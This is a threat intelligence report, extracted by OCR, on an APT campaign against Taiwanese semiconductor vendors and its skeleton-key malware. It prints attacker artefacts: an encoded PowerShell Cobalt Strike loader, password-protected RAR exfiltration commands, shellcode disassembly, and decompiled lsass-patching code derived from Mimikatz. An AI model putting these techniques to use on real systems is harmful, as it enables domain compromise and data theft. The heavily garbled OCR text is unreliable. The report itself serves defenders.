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Introduction

This threat report provides an analysis of the advanced persistent threat (APT) attacks that
have occurred during the past two years on the semiconductor industry. Our research shows that the
majority of these attacks were concentrated on the Taiwan semiconductor sector. This is worthy of
concern, as Taiwan’s semiconductor industry plays a very crucial role in the world. Even a small
disruption in the supply chain could have a serious ripple effect throughout the entire industry.
Surprisingly, up until now, there has been less coverage on these attacks. In this report, we seek to
shed light on the threat actors and campaigns of these attacks, where they are collectively referred
to as Operation Skeleton Key. Additionally, we provide a brief overview of the current information
security status of Taiwan’s semiconductor industry.

With decades of development, Taiwan has established itself as a leading player in the
semiconductor supply chain, including many well-known leaders in the area. According to a report
by the Semiconductor Equipment and Materials International (SEMI),the global industry
association representing the electronics manufacturing supply chain, Taiwan has been the largest
consumer of semiconductor materials in the past several years [1]. Meanwhile, Wikipedia, says that
Taiwan 1s currently among the top 5 sales leaders in multiple segments including foundry,
integrated device manufacturer (IDM), fabless and outsourced semiconductor assembly and testing
(OSAT) [2]. In 2019, Taiwan’s total semiconductor value reached a staggering $11.4 billion.
Needless to say, the repercussions from a cyber attack on Taiwan’s semiconductor sector could be
catastrophic.

Due to the high market value of the semiconductor industry, vendors have invested heavily in
their cyber capabilities, especially in protecting the industrial control system (ICS) equipment used
in fabrication plants. Although operational technology (OT) and information technology (IT)
security is equally important, more emphasis has been placed on the former. This is evidenced by
the fact that many vendors have opted to isolate their ICS equipment to ensure the manufacturing
process is never interrupted. The downside to this approach is that once malicious code finds its
way into the isolated environment, it can spread to other machines very quickly. One foremost
example is the 2018 WannaCry ransomware attack on TSMC [3]. The hit on the world’s largest
foundry company forced some of the plants to go offline for an entire day. Additionally, it took
several days before the malware could be fully eradicated. The total damage caused by this attack
reached $256 million. Separately, ASUS, which is a leading PC manufacturer in Taiwan, saw
millions of its users impacted by Operation ShadowHammer [4]. In this report, we will show how
IT attacks on semiconductor vendors can be just as damaging as an OT attack.

Between 2018 and 2019, we discovered several attacks on various semiconductor vendors
located at the Hsinchu Science-based Industrial Park in Taiwan. As these attacks employed similar
attack techniques and tactics, a pattern could be discerned from the malicious activities. From this
pattern, we deduced that these attacks, which we dubbed Chimera APT Group, were actually
conducted by the same threat actor. The main objective of these attacks appeared to be stealing
intelligence, specifically documents about IC chips, software development kits (SDKs), IC
designs, source code, etc. If such documents are successfully stolen, the impact can be devastating.
The motive behind these attacks likely stems from competitors or even countries seeking to gain a
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competitive advantage over rivals. Since these techniques and tactics were similar to previous attack
activities, we suspect the attacker is a China-based hacker group. We thus hope that this report will
help semiconductor companies gain a better understanding of the dangers from such attacks.
Additionally, as we have worked with several of the semiconductor vendors to improve their cyber
security, we wish to share this valuable experience, and highlight the current challenges facing the
entire industry.

In this report, we conduct a comprehensive analysis on the employed technologies, tactics, and
customized malware of Chimera APT Group. As this operation has not yet been documented, the
techniques and tactics disclosed in this report can help blue teams design better defenses, and
develop better detection and hunting methods. Below summarizes our findings of Chimera.

1. A wunique account manipulation malware - SkeletonKeylnjector — was used.
SkeletonKeylInjector contained code extracted from Dumpert and Mimikatz. This malware
implanted a skeleton key into domain controller (DC) servers to continuously conduct lateral
movement (LM). Additionally, by making direct syscalls, the malware could bypass security
products based on API hooking. This malware was discovered in the two cases mentioned in
this report.

2. The threat actor utilized Cobalt Strike as their main remote-access Trojan (RAT). The
mutated Cobalt Strike backdoor replaced and masqueraded as Google Update to confuse
users. Additionally, as most corresponding (command and control) C2s were located in the
Google Cloud Platform, it made it difficult to attribute the actor. Aside from the two cases
mentioned in this report, we also detected the presence of this malware in other
semiconductor vendors.

3. Chimera used an old and patched version of RAR for data exfiltration. The same binary was
found in the two cases mentioned in this report.

Storyline of the Operation

During our investigation of Chimera APT Group between 2018 to 2019, more than 30,000
endpoints belonging to various semiconductor vendors were analyzed. Two representative cases
were chosen for a deeper analysis. The two cases (hereafter Case A and Case B) involved in the
analysis currently have a leading global position in their own market segments. With business sites
scattered around the world and a large annual revenue, their main research and development hub are
both located in Taiwan. Two different approaches were adopted when investigating the two
companies. For Case A, as we already enjoyed a long-term cooperation, our assistance focused on
monitoring their systems. This allowed us to quickly identify the cyber attack in a short period of
time. By contrast, as victims in Case B discovered on their own various abnormal activities, they
asked for our help to formulate an effective incident response. During our forensic investigation, we
found that the attacks had already been occurring for more than a year. As the activities, attack
techniques and tactics were similar in the other cases we investigated, we believe this was the work
of the same threat actor.

Case A:

In this case, the victim company had already subscribed to our continuous threat hunting



service. Our investigation revealed malicious activities occurring between 2019-12-09 ~
2019-12-10. Meanwhile, in this incident, 15 endpoints and 6 user accounts were compromised, and
4 malwares and 8 C2 servers were found.

To help better depict the operational details of this case, the cyber situation graph and storyline
is respectively shown in Fig 1. Note that all the server/user names are de-identified, and replaced
with names that can represent their roles.

NB-CLAIR Server-LAUREN NB-SHANAE Server-MELINA PC-SHENNA

Logon: USER-124
2019-12-10 14:59:40

Logon: USER-130
2019-12-10 15:83:09

Logon: USER-2
2019-12-10 15:04:43

Logon: USER-2
2019-12-16 15:14:43

Logon: USER-124
2019-12-10 15:16:37

2019-12-10 15:18:36

File Dropped: RecordedTV.ms

Remote Accefss: 1.3.35.342
2019-12-10 [16:15:46

Remote Accejss: 1.3.35.342
2019-12-10 [16:17:57

Supporter

Logon: USER-124
NB-CLAIR->Server-LAUREN
2019-12-10 14:59:40

Remote Access: (ooglelUpdate.exe
2019-12-10 16:14:57

Logon: USER-130
NB-SHANAE->Server-LAUREN
2019-12-10 15:03:09

Figure 1: Storyline in Case A



The same APT malware - GoogleUpdate.exe - was found on two endpoints. On the day we
discovered this malware, no information could be found on VirusTotal (VT). To confuse security
products and analysts, the malware replaced the original GoogleUpdate binary and functioned as a
mutated Cobalt Strike beacon to inject payloads into other processes. Moreover, network security
devices had difficulty detecting the associated C2 servers, as they were located in the Google Cloud
Platform. The C2 server domains are listed in Appendix I of the IoC section.

After successfully connecting back to the C2, the attacker used RECORDEDTV.MS to archive
the stolen data for data exfiltration. It is worthy to note that even without the .exe file extension, the
data exfiltration process could still be executed. Identical binaries were found in several machines,
but under different names, e.g. RECORDEDTV.MS, uncheck.dmp, and jucheck.exe. This aroused
our suspicions and prompted us to suspect the binary was masquerading as a Java Update program.
Inserting malware in a location where legal software is stored seems to be a characteristic tactic of
Chimera. For this case, it was found that the disguised program, which was a modified RAR
software, had a one-byte discrepancy from the original version. We are still ascertaining the reasons
behind this difference.

To track the root cause, we found that the first Cobalt Strike backdoor was located at
NB-CLAIR, and was then remotely copied to Server-LAUREN. A valid account was used to invoke
Cobalt Strike via schtasks (Fig 2).

Figure 2: schtask is used for lateral movement



The recon activities in Server-LAUREN are illustrated in the figure below. Several "net user”
commands were executed for recon purposes, and the results were saved to the RecordedTV _lib.log

(Fig 3).

Figure 3: Reconnaissance commands

Our analysis also showed that Server-LAUREN used wmic to remotely execute various
commands in another endpoint to check if there was an Internet connection (Fig 4).

Figure 4: Reconnaissance via wmic



Server-LAUREN also archived the registry and ntds.dit to other hosts for offline breaking. The
latter is an AD database, which contains information about domain hosts and users, e.g. id, name
and password hash. Since this file was encrypted, and the key was stored in the SYSTEM registry,
the threat actor needed to archive both ntds.dit and the registry to both decrypt the file and remotely
brute-force the password hash. The control of Server-LAUREN , which was also achieved via
schtasks, was traced back to the NB-CLAIR machine. From the NB-CLAIR timeline, we noticed
that a remote desktop program (RDP) from a certain IP was run just six minutes before the schtasks
was executed (Fig 5). Since this IP was a VPN server, and a valid account was used to log in to it,
we believe the actor acquired the password from a separate data breach.

NB-SHANAE

schtasks

NB-CLAIR PC-SHENNA

schtasks

Server-

MELINA

Figure 5: Overall activities

At the end of the attack, the wlanapi.dll malware, which we dubbed SkeletonKeylInjector, was
used for persistence. More details of the malware reversing will be provided in Sec. 4 Malware
Reversing.



Case B:

Suspicious activities were discovered in the victim company of Case B during an upgrade to
their network infrastructure. We were tasked by the company to investigate this incident, which
began in November 2019. During our investigation, we found that the cyber attack pattern
resembled the tactics employed by Chimera. The entire attack occurred between October 7, 2018 to
November 18, 2019, and a total of 24 endpoints were compromised. In these endpoints, 8
compromised accounts, 3 malware and 5 C2 servers were discovered. The persistence of this attack
can be seen by the fact that it lasted for more than a year. The cyber situation graph and storyline
are respectively shown in Fig 6 and Fig 7.

Unlike Case A, powershell scripts were widely used, which can be seen in following code
snippets. To avoid the file-based detection mechanism, the payload was injected directly into the
system memory. The injected malware was discovered in roughly 10 endpoints, which included two
domain controllers. The powershell script was a Cobalt Strike backdoor and was used for process
migration to other system processes. We found several hosts that had the Cobalt Strike malware
implanted in their infected svchost.exe. Despite the discovery of the early stage malware and
activities, the launch of our investigation was already at a very late point in time. Thus, there was
insufficient evidence to pinpoint the likely initial access point. We surmise that the attack occurred
via stolen valid credentials or phishing emails.

powershell -nop -w hidden -encodedcommand
JABzADOATEgB1AHCALQBPAGIAagBlAGMAJAAgAEKATWAUAEOAZQBTAG8ACgBSAFMAJABYAGUAYQBTACEALABDAEM
AbwBUAHYAZQBYAHQAXQA6ADOAREBYAGBAbQBCAGEACWB1ADYANABTAHQACEBpAGA4AZWAOACIASAAOAHMASQBBAE
EAQQBBAEEAQQBBAEEAQQBLAFYAVWBiAFcALWBpAE8AQgBEACSAMWBQAHCASWBYADQAVEAWAGBASgBaADMAJABNA
HQAZABWAFYAbwBUAFEAQQBrAGWAbABKAGMAVWAYAGSAWABWAHKAUWBRAGOAAQBEAGCASgBKAFoAeQBtAGQATABM
ACBALWBTAFkAdgA1AEOAYgAyAGIAawArADYAaQB4AFEAbABUAHMAdWA4AEOAOAASADQAUABKAEOACABSAGMAVWB
WAEYATQB5AFUAaABtAGQAUgBWAEoAeABSADQAVABQ
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Figure 6: Storyline of Case B
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Figure 7: Cyber situation graph of Case B

As mentioned earlier, legal cloud services were widely used by Chimera as their C2 to avoid
threat attribution. In this case, Appspot[.]Jcom and azureedge[.]net were applied as the C2. The actor
also used a RAR program under the guise of innocuous file names such as RecordedTV.ms,
jucheck.exe and vmware.log to archive and steal the data of interest. A similar scheme was utilized
by the attacker to archive the passwords they used. The following shows a sample command of the

archived information.

c:\users\xxxx\libraries\RecordedTV.ms a -m5 -v71m -hpfuckyou.google.comll vmlum-vss.log
vmlum-vmvss.log

C:\Windows\system32\cmd.exe /C c:\users\xxxxxx\libraries\RecordedTV.ms a -m5 -r
-hpfuckyou.google.comll vmlum-vmopt.log
“N\<Hostname>\personal\<Username>\<Product>-Traning-v1.1.pptx" > vmlumss.log & dir
vmlum-vmopt*

Leaked File Name

Based on the file names of the stolen files, it seemed to include chip documents, SDKs and
even the source code. The key motive of the actor was to acquire semiconductor proprietary data.
Similar to Case A, a DLL file (d3dll.dll) was used to deploy a Skeleton Key malware. An
in-memory patch was performed to allow easy system log-in. Some of the de-identified leaked file
names are listed below.

\\Users\<Account>\Project\Roadmap
\\Users\<Account>\Backup\Workspace

\\Users\<Account>\chip and SDK setting
\\Users\<Account>\<Productname> SDK Installation guide.pdf

It is worthy to note that among the various semiconductor vendors we investigated, similarities
were seen in the deployed malware, techniques, and tactics. This particular APT group seemed to
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have a keen interest in targeting the semiconductor industry. Additionally, in the absence of an AD
monitoring system, we saw some vendors employing a white-list enforcement approach. Although
this is a feasible approach, as the AD cannot execute any software outside the white-list, our
investigation shows that APT actors were still able to use Living off the Land Binaries (LOL) bins
to launch an attack.

Malware Reversing

Our analysis also revealed several suspicious memory modules. The first memory module
resembled a CobaltStrike or metasploit beacon. The memory module was a PE file with a broken
header, as seen in Fig 8 and Fig 9. From the figure, we can also see that the PE metadata has some
invalid values, which contain a hidden shellcode (from offset 2).

0000h: 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 48 MZARUH%&H.i ...H

0010h: 8D 1D EA FF FF FF 48 89 DF 48 81 c3 1c 79 01 00  ..&yyyHSBH.A.y..
0020h: FF D3 41 B8 FO BS A2 56 62 04 00 00 00 SA 48 89  $OA &pévh....ZHSs
0030h: F9 FF DO 00 00 00 00 00 00 00 00 00 00 01 00 00 O¥P.e.u.vnwennn.
0040h: OE 1F BA OE 00 B4 09 CD 21 Bf 01 4C cD 21 54 68 ..°.. .11, .nftTh

0050h:| €9 73 20 70|72 BF 67 72 /61 €D 20 63 61 6E EE 6F is program canno
0060h: 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
0070h: 6D 6F 64 65 2E 0D 0D OA 24 00 00 00 0O 00 0O 0O Y as E R e R
0080h: C% DB SE EA 8D BA FO B9 8D BA FO B9 8D BA FO BS E(2&.°81.°81.°52
0090h: EB 54 22 B9 15 BAa FO B9 13 1a 37 B9 8C BAa FO BS STl o8l _HiEesHt

00ADh: 7C 7C 3F B9 A4 BA FO B9 7C 7C 3E B9 0OA BA FO B9 2= 8r | [nt. 8
00BOR: 7C 7C 3D BS 87 BA FO B9 B84 C2 &3 B9 82 BA FO BY ||=t2081, Act, 082
00COh: 8D BA Fl1 B9 €% BA F0O B9 EB 54 3E B9 B8 BA FO B9 .°AticslaeT>t °51

00DOh: EB 54 3A B9 8C BA FO B9 EB 54 3C B9 8C BA FO B9 BT: 1EHIET<IE?HT
O0EOh: 52 €9 €3 €8 8D BA FO B9 00 00 00O 00 0O 00 00 0O BRICH 81 ccsvnss
aryoiateea i i B el iis o B o i T el S o e Lo S e I i IR 0 e Bt i fe I 1T 0 f Bt S i e e

0100h: 50 45 00 00 e4 B8e 05 00 B1 OD B% 5C 00 00 00 0O PR adibesncdNnans
0110h: 0O 00 00 00 FO 00 22 AD OB 02 OB 00 00 Be 02 00 SR e SR 1..
0120h: 0O 58 02 00 00 00 0O 00 70 cD O1 00 OO 10 00 0O 2 o
0130h: 0O 00 00 80 01 0O 0O 00O OO 10 0O 00 OO 02 00 0O e e e

Jiddhs= 05 .00 02 0000 00 90 00|05 00 02 0000 00 00 00 | ...icceioceinani

Figure 8: Raw content of the memory module

1 pestuc wwinitorcom
| file  help

== property value

..... W indicators (4/13) : : : :
;]I Tl iiine (81 image-signature (offset) (00004550 (0x00000100)

""" machine Amde4d
..... > dos-header (64 bytes) St 5
Bl dos-stub (192 bytes) 3 -
_____ B i< header (Apr 2019) compiler-stamp 0x5CBS0DET (Fri Apr 19 07:51:29 2019)
..... : optional-header (GUI) pointer-symbol-table
----- = directories (invalid) number-of-symbols
_____ . sections (0.00 %) size-of-optional-header 240 (bytes)
----- > libraries (suspicious) processor-32bit
- | irnports (suspicious) relocation-stripped
..... = large-address-aware true
..... - uniprocessor
..... =] system-image
----- abe strings (0/9) dynamic-link-library true
-@E executable true
---- =} debug-stripped
~{La] media-run-from-swap
L) netwark-run-from-swap
..... 0

Figure 9: PE information
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The disassembled shellcode, which is a Reflective Loader, is listed in Fig 10. It first located
the next payload at offset 0x1791C, and then loaded the payload. Meanwhile, 56 A2B5F0 is the API
hash of ExitProcess, which denotes the process exit.

B8 ; Segment type: Regular

B8 segBBBd segment byte public '°
(5% assume cs:segbBl

08 assume es:nothing, ss:
B8 unk_© db 4Dh ; M

e1 db 5Ah ; Z

B2 5 ----em e
B2 push rl@

4 push rbp

85 mow rbp, rsp

B8 sub rsp, 28h

BF lea rbx, unk_ B

16 mow rdi, rbx

19 add rbx, 1791Ch
20 call rbx

22 mow r8d, 56A2B5F8h
28 push 4

2D pop rdx

2E mow rcx, rdi

31 call rax

Figure 10: Reflective loader shellcode

The other memory modules contained a different CobaltStrike beacon, and were used for
migration. The first stage beacon injected a payload to a process for process migration. From the
memory content (Fig 11), the “.\pipe\mojo.5688.805...” string was the pipe created by the

9

CobaltStrike beacon.
0140h: 04 24 SB 4C 24 08 39 cl 74 07 68 FO B5 A2 56 FF  .5<L5.9At.héucvy
0150h: FF 5
0160h:
0170h:
0180h: : 00 00 00

01%0h: OO0 00 0O OO OO 0O 00 OO0 00 00 0O OO 0O OO OO OO0
01AOh: 00 00 00 OO OO0 00 00 00 00 00 00 OO | e e iannnn

Figure 11: Partial content in memory module

As we performed a deeper reverse engineering, we found that the process migration made use
of the pipe inter-process (IPC) mechanism for communication. The injected code first used
CreateNamePipe and ConnectNamePipe to establish an I[PC with the original beacon (Fig 12). After
reading the entire shellcode via the ReadFile from the name pipe, the shellcode was invoked in
0x401155, and a CobaltStrike backdoor was created (Fig 13).
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64 00
6B SBA453ES
FFDE
50
~ E9 AB000000

&8 00BOO400
68 00BO0400
64 01
6A 06
64 03

68 4570DFD4

&8 286F7DE2
FFD5
B5CO
& FR-GF

[ - 6A 00

. 64A 00
6A 00

L B9EG

. 83Ce 04

. BI9EZ

. B83C2 08
BBFC24 0C
64 00

. 68 ADIELFBE
FFD5

. 8B5424 10

> 6A 0O

. 56
. 68 00200000

. 65 ADIESFEBE
FFDS

. B5COD

v 74 14

8BO424

01Ccs

830424
8B5424 10
0lC2

EB D7
8B7C24 OC
57

68 COFADDFC
FFDS

57

68 C6968752
FFD5

8BO424
8B4CZ4 08
32C1

74 07

68 FOBSA2GCE
FFD5S

FF6424 10
> SE8 53FFFFFE

2ZE:5C
v 70 69
» 70 65

2E:35 2638382E
3830
35 322E3335

push o

push ES53A458
call =bp

push eax

jmp out.401155
pop edx

XOr BCX,8CX
push ecx

push ecx

push 4
push 4
push 1
push &
push 2
push edx

push DaDF7045

Bl =bp

push eax

mov edx,dword ptr ss:[fesp]
push C
push
push E2
call
test eax,eax
je out.401144A
push o

push o

push 0

mov esi,esp
add esi,4

mov edx,esp
add edx,s

mov edi,dword
push O

push esi

push 4

push edx

push edi

push BESFIEAD
a8l =bp

mov edx,dword ptr ss:ffesp+
push 0

push esi

push 2000

push edx

push edi

push BEBSFIEAD

el =bp

test eax,eax

je out.40112B

=5

Mo

Rl
=
£
W
i

s:[fesp+CH

Figure 12: Disassemble shellcode 1

mov eax,dword ptr ss:[Jespl
add eax,ecx

mov dword ptr ss:
mov edx,dword ptr
add edx,eax

jmp out. 401102
mov edi,dword ptr ss:fesp+C
push edi

push FCDDF
g2l =bp
push edi
push 528796C6
€8l ebp

mov eax,dword ptr
mov ecx,dword ptr
cmp ecx, eax

je out.401151
push SEAZBSFO
g2l =bp

jmp dword ptr ss:[fesp
call out.4010AD

pop esp

pop esp

pop _esp

Jjo out.4011C9

jo out.4011C7

pop esp
insd
outsd
push &F
Xor eax,
cmp byte ptr ds
Xor eax,3533 2
aaa

cmp byte ptr ds:[eax]
xor dh,byte ptr ds:[e
xor esi,dword ptr ds
xor bh,byte ptr ds:[
xor esi,dword ptr ds
xor byte ptr ds:[edi
xor 2s51,dword ptr ds C
wor byte ptr ds:[ecx],dh
xor al,zs

[eax] ,dh

add byte ptr 1,al
add byte ptr 1,2l
add byte ptr 1:al
add byte ptr 1.al
add byte ptr ],al
add byte ptr 1.al
add byte ptr 1,al

Figure 13: Disassemble shellcode 11

virtualalloc
ebp: EntryPoint+6

ecx:sub_4010DC+75
eCK:sub_40100C+75
ecx:sub_4010DC+75
4B000:L"-1-0"
4B000:L"-1-0"

CreateNamedrPipea

ebp: EntryPoint+6

ConnectNamedPipe

sub_4010DC

ReadFile

ReadFile

ecx: sub_4010DC+75

DisconnectNamedrPipe
CloseHandle
ecx: sub_4010DC+75

ecx: sub_4010DC+75

ExitProcess
Jump to shellcode
Ret addr is pipe name

ecx: sub_4010DC+75

acx:sub_4010DC+75
acx:sub_4010DC+75
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d3d11.dll

MD35: bb897e34bc0d1e82dfe79d0898f5aa88
SHA256: ¢3681cd6e31b12a4962091a981598¢6361214237ec6¢c8b2915b211714d7{6e49

Upon discovery of this sample, we first performed a retrohunt analysis. The discovery of a
related binary led us to initially believe the sample was a Dumpert. However, a more in-depth
analysis revealed that the d3d11.dll sample implanted a skeleton key, where adversaries could
persistently control (before the system reboot) the infected machine and machines under the
infected AD. More specifically, the malware was an account manipulation tool that contained code
extracted from both Dumpert and Mimikatz. We called this malware SkeletonKeyInjector. The
malware employed a technique that altered the NTLM authentication program and implanted a
skeleton key to allow adversaries to log-in without a valid credential. This allowed the adversary to
achieve the following objectives:

e Persistence: After the code in memory was altered, the adversary could gain access to the
compromised machines before the next system reboot. As AD machines are rarely rebooted,
the adversary was able to control the machines for a very long time.

e Defense Evasion: Aside from the different login password and login algorithm scheme,
there was no difference when compared to a normal login activity. Furthermore, normal
users could still log-in to the system via their original password. Thus, the probability of
being exposed was low.

e Lateral Movement: Adversaries could use the skeleton key to log in to other machines that
were in the same domain. This made it easier for an adversary to conduct lateral movement.

To show which functions shared a resemblance to Mimikats or Dumpert, we reversed the
functions of d3d11.dll and recovered the function names in Fig 14. For easy understanding, we
recovered the function names that migrated from Mimikatz, which have either the “kuhl” or “kull”
prefix. As for functions that migrated from Dumpert, the prefix “Dumpert” was included in the
name. For functions that were implemented by the adversary, no prefix was added.
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|E| Functions window

Function name
kuhl_misc_skeleton_rc4_init
kuhl_misc_skeleton_rcd_init_decrypt
kuhl_misc_skeleton_rcd_end
kuhl_m_mise_sheleton

Startfddress

add {void)

subivoid)

DllMain

Dumpert_ Load3wscall

Dumpert OpenProcess

kull m_memory copy

kull m_ memory_search

kull m_memory_alloc
kull_m_process_getProcessTnformation

kull m_process get¥eryBasicModulelnf---
kull m_process callback_moduleForName
kull m_process ntheaders
knll_m_process_getExported EntrvInformations
kull_m_remotelib_exports callback_module
kull m_remotelib_CreateRemoteCode Wi---
kull_m_string gad_ans_to_wnicode
NiOpenProces: Win?

NiClose_Win7

NiRead Virtwalbemory_Win?

Wt rite VirtnalMemory_Win?
WiProtectVirtnalbdemory Win7
WiQuerydysteminformation_ Win?

Wit locateVirtnalbemory_ Win7

WiFree ¥ irtvalbemory_ Win?

NiCreateFile Win?7

NiOpenProces: Wind

NiClose_Wind

NiRead Virtwalbemory_Wing

Nt rite Virtnalbemory_Wing

Figure 14: Reversed function names

In order to bypass the API monitoring, which is widely used in anti-virus or EDR products, the
malware directly invoked syscalls and implemented high level API logic. Since the syscall numbers
differ between each Windows version, the following code snippet was used to determine the OS
version in use, and thereby obtain the correct syscall number. Our analysis showed that this code
snippet was copied from Dumpert.

WIN_VER_INFO *piinVerInfo; //
4| HMODULE ntd1l; // ra>

5| _int64 (_fastcall *rax )(); // re»

6| __int6a (_fastcall *RtlGetVersion)(); //
7| ‘signed _int64 (*NtOpenProcess_ptr)(); //
8| __int64 duMinorVersion; //

5| RTL_OSVERSIONINFOW osInfo; //

1 .dwOSVersionInfoSize = 284;
2 = (W *)calloc(lu, @xdéu);

o SRR 11, "RtlGetVersion™);
if (rax_ )

wprdntf(L"[1] Checking 05 version details:\n");

((void (_ fastcal INFOW *))Rt )& )5
LODUORD ( )= .dwMinorVersion;
swprintf_s (phi ->ch0SMajoriinor, 8u, L"%u.%u", o .dwlajorVersion, )
2 —>dwBuildNumber = 0. dwBuildNumber;
23| 1f ( wesiemp( ->chOSMajorMinor, L"10.8") )
24 o)
25 I ( wesicmp( ->ch0SMajorMinor, L"6.1") || .dwBuildNumber != 7601 )
1f ( wesicmp( o ->ch0SMajorMinor, L"6.2") )
if ( wesicmp( \ ->chOSMajorMinor, L"6.3") )
1 wprintf(L"\t[!] 0S Version not supported.\n\n");
32 exit(1);
T
wprdntf(

L"\t[+] Operating System is Windows %ls, build number %d\n",
36 L"8.1 or Server 2012 R2",
37 i ->dwBuildNumber);
wprintf(L"\t[+] Mapping version specific System calls.\n");
= NtOpenProcess_in8_1;

*(_QWORD *)NtCreateFile = NtCreateFile Win8 1;
->SystemCall = 62;
*(_QWORD *)NtClose = NtClose Win8_1;

43 NtQuerySystenInfornation = (_inté fastcall *

_QKORD) JNtQuerySystemInformation_Win8_1;

Figure 15: Dumpert detect OS version capability

To run the Mimikatz code snippet used by the malware, a privilege called
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SE DEBUG PRIVILEGE was needed. The code shown in Fig 16 used RtlAdjustPrivilege to
obtain the SE DEBUG_PRIVILEGE to allow the malware to open, read, and write other process
memory as a debugger. By comparing the code snippet (Fig 17) with the original code in Mimikatz
(Fig 18), we found that instead of calling the OpenProcess API, the malware instead invoked
OpenProcess via Dumpert. As mentioned earlier, the malware sought to bypass the API hooking via
syscalls.

(W]

unsigned  int8 0ldValue; // [rsp+38

5| if ( RtlAdjustPrivilege(SE_DEBUG PRIVILEGE, 1u, 8, &01dValue) >= @ )
kuhl m misc_skeleton();

return 1i64,;
8}

Figure 16: SE DEBUG PRIVILEGE

SkeletonKeylInjector first searched for the string “Kerberos-Newer-Keys” in the Isass.exe
process memory. When the “Kerberos-Newer-Keys” address was found, it then searched for the
Unicode structure in the memory that referenced this address. Afterwards, the Unicode structure
was altered with empty strings by manipulating the string reference to an empty string and size
zero. This manipulation downgraded the Isass.exe in using insecure crypto scheme - RC4 without
salt. From Fig 17 and Fig 18, the similar code segments between Mimikatz and d3d11.dll are
shown.

49 tensions[4].Pointer = 0i64;
s = "e\@K'; // L"Kerberos-Newer-Keys"
<[2] = ‘bBrer';
cys[4] = ‘r\@e’;
eys[6] = 's\@o’;
s[8] = "M\e-*;
cys[10] = "w\@e’;
ays[12] = ‘r\@e’;
[14] = 'K\@-';
[16] = ‘y\@e';
[18] = 's’;
rhar eys);
2
's\el'; // L"1lsass.exe"
= 's\@a’;
= ".\@s"
= 'x\@e"
~ %a*
3
g(&Desti ionString, str lsass_exe);
71 ed int)kull_m_process getProcessInformation((KULL_M PROCESS PID FOR_NAME *)tmp) >= @ )
72| {
73 if ( LODWORD(tmo[2]) )
A I
75 ‘rocess = Dumpert::0OpenProcess(pid);
76 if ( hP s
7 {
78 memory = (KULL_M_MEMORY_HANDLE *)LocalAlloc(@x4@u, @x18ui64);
Lsass.hMemory = memory;
30 if ( memory )
51 {
82 ry->type = 1;
83 andle = (HANDLE *)LocalAlloc(@x48u, Suibd);
84 al sass.hMemory->pHandle = pHandle;
85 if ( pHandle )
86 {
Handleis cess;
88 memory = alsass.hMemory;
89 Search.name = &Destir t
99 tmp[@] = (LPVOID)'s\@c\@d\ok';

Figure 17: SkeletonKeylInjector Code Snippet I
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NTSTATUS kuhl_m misc_skeleton(int

g
1

BOOL success FALSE;

PKERB_ECRYPT pCrypt;

DWORD processId;

HANDLE hProcess;

PBYTE localAddr, ptrValue NULL;

KULL 10RY_ADDRESS alsass, alocal - {NULL, &KULL M MEMORY_ GLOBAL OWN_HANDLE};

sMemory;
orig;
extensions {
{L"kernel32.d11", "LocalAlloc", (PVOID) NULL},
{L"kernel32.d11", "LocalFree", (PvOID) >, NULL},
{L"ntd11.d11", "memcpy” , (PVOID) c LL},
{NULL, NULL, (PVOID) NULL},
{NULL, NULL, (PvOID) 14 4444444, NULL},
¥
MULTIPLE REMOTE EXT extForCb - {ARRAYSIZE(extensions), extensions};
BOOL onlyRCAStuff - (MIMIKATZ NT_BUTLD NUMBER < KULL_M_WIN_MIN_BUILD_VISTA) || kull_m_string_args_byName
roMemory(&orig, (orig));
UnicodeString(forig, newerKey);
(kull m_process_getProcessIdForName(L"1sass.exe™, &processId))

(hProcess - OpenProcess(PROCESS VM READ | PROCESS VM WRITE | PROCESS VM OPERATION | PROCESS QUERY INFORMATION,
{
(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, falsass_hMemory))
{
(!onlyRCAStuff)
{
(kull_m_process_getVeryBasicModuleInformationsForName(alsass.hMemory, L"kdcsvc.dl11", &cryptInfos))
{
alocal.address - newerKey;
sMemory.kull_m_memoryRange.kull_m_memoryAdress cryptInfos.Dl1Base;
sMemory.kull m_memoryRange.size - cryptInfos.S5izeOfImage;
(kull m_memory search(falocal, (newerKey), &sMemory, TRUE))
{
kprintf(L"[KDC] data\n");
alocal.address orig;
orig.Buffer = (PWSIR) sMemory.result;
(kull_m_memor arch(&alocal, (orig), &sMemory, TRUE))

Figure 18: Similar code in Mimikatz

RtlInitUnicodeString(&De ing, (PCWSTR)tmp);// kdcsve.dll
if ( kull _n_process_| getVeryEaschuduleIn'Fur‘mat)uns(

D)Ykull_m_process_callback_moduleForName,

T 3= 0)

if ( mySearch.isFound )
{
.address =
.kull m memor‘yRange kull m memor‘yAddrass address = informations.Dl1lBase.address;
.kull_m_memoryRange.kull_m memur‘yﬂddress hMemory = informa s.D11Base. hMemory;
~y.kull_m_memoryRange.size = i tions.SizeOfImage;
if ( kull_m_memory_search(8alocal, @x28ui6d, &sMemory, 1) )
.address = &orig;
_Buffer = (PHSTR) .result
if ( kull_m_memory_search(&alocal, Ex10u164 &shMem s ) )
{
*(_QWORD ')&' ig.Length = @i64;
uffer = Bibd;
-address = sMen .result;
if ( kull_m_memory_copy(&alsass, &local, Bx18uibd) )
{ i [KD(] keys patch 0K

Figure 19: Code of SkeletonKeylInjector to patch the CDLocateCSystem

After downgrading to RC4,the SkeletonKeylnjector altered the function pointers
in cryptdll.dll!CDLocateCSystem by redirecting them to its customized functions (Fig 19).
Specifically, two functions were altered, one for the RC4 initialization, and the other for the RC4
decryption. In the RC4 initialization function, a new RC4 NTLM was injected with a pre-calculated
hash value of the skeleton key. When the authentication check failed due to incorrect credentials,
the RC4 decryption function prompted the authentication process to compare the credentials with
the skeleton key. Once a match was confirmed, the log in was permitted. Noteworthy, the malware
contained customized NTLM hash, which had a slight difference over the original Mimikatz.
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1NTSTATUS _ stdcall kuhl_misc_skeleton_rc4_init(LPCVOID Key, DWORD KeySize,

DWORD NTLM_hash[4]; // [rs

i 5

NTSTATUS w7; // [rs
8; /f [rs
L 95 1
DWORD v1@; //
DWORD v11; //
PVOID *v12; // [rso

ey
2xCO00009A;

[0] = @x895815BD;
sh[1] = @x5900C578;
[2] = @x49365867;

sh[3] = @xBEBDB619;

0) ] (164, 40164);// LocalAlloc

(v9, v18, vil, &vB);

(*v12, v8, 16164);// memcpy
_hash, 16164, v11, 8&6);

2 + 18, , 16i64);// memcpy
// LocalFree

// LocalFree

(*vi2); // LocalFree

return v7;

Figure 20: Forged RC4 init function

